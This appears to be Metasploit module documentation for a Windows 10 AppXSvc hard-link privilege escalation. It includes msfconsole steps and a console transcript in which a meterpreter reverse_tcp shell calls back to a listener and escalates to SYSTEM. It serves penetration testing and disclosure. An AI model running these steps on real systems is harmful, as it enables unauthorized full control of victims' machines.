## Description

  There exists a privilege escalation vulnerability for Windows 10 builds prior to build 17763.
  Due to the AppXSvc's improper handling of hard links, a user can gain full privileges over
  a SYSTEM-owned file. The user can then utilize the new file to execute code as SYSTEM.

  This module leverages a technique discovered by James Forshaw to enable loading and execution
  of a dll with SYSTEM privileges.

## Vulnerable Application

  Windows 10 builds prior to 17763. Windows 10 is available for download [here](https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/).

## Verification Steps

  1. Start msfconsole
  2. Get a low-privileged session
  3. Do: ```use exploit/windows/local/appxsvc_hard_link_privesc```
  4. Do: ```set SESSION <session>```
  5. Do: ```set PAYLOAD <payload>```
  6. Do: ```set LHOST <ip>```
  7. Do: ```run```
  8. You should get a shell running as SYSTEM

## Scenarios

### Tested on Windows 10 Version 1709 Build 16299.125

  ```
  msf > use multi/handler
  msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
  payload => windows/x64/meterpreter/reverse_tcp
  msf exploit(multi/handler) > set lhost 192.168.37.1
  lhost => 192.168.37.1
  msf exploit(multi/handler) > run

  [*] Started reverse TCP handler on 192.168.37.1:4444
  [*] Sending stage (206403 bytes) to 192.168.37.135
  [*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.135:49985) at 2019-07-08 12:01:09 -0500

  meterpreter > getuid
  Server username: DESKTOP-L5FDSM7\Shelby Pace
  meterpreter > background
  [*] Backgrounding session 1...
  msf exploit(multi/handler) > use exploit/windows/local/appxsvc_hard_link_privesc
  msf exploit(windows/local/appxsvc_hard_link_privesc) > set session 1
  session => 1
  msf exploit(windows/local/appxsvc_hard_link_privesc) > set payload windows/x64/meterpreter/reverse_tcp
  payload => windows/x64/meterpreter/reverse_tcp
  msf exploit(windows/local/appxsvc_hard_link_privesc) > set lhost 192.168.37.1
  lhost => 192.168.37.1
  msf exploit(windows/local/appxsvc_hard_link_privesc) > run

  [!] SESSION may not be compatible with this module.
  [*] Started reverse TCP handler on 192.168.37.1:4444
  [+] Successfully created hard link
  [*] Attempting to launch Microsoft Edge minimized.
  [*] Writing the payload to disk
  [*] Sending stage (206403 bytes) to 192.168.37.135
  [*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.135:49986) at 2019-07-08 12:02:02 -0500

  meterpreter > getuid
  Server username: NT AUTHORITY\SYSTEM
  meterpreter > sysinfo
  Computer        : DESKTOP-L5FDSM7
  OS              : Windows 10 (Build 16299).
  Architecture    : x64
  System Language : en_US
  Domain          : WORKGROUP
  Logged On Users : 2
  Meterpreter     : x64/windows
  ```
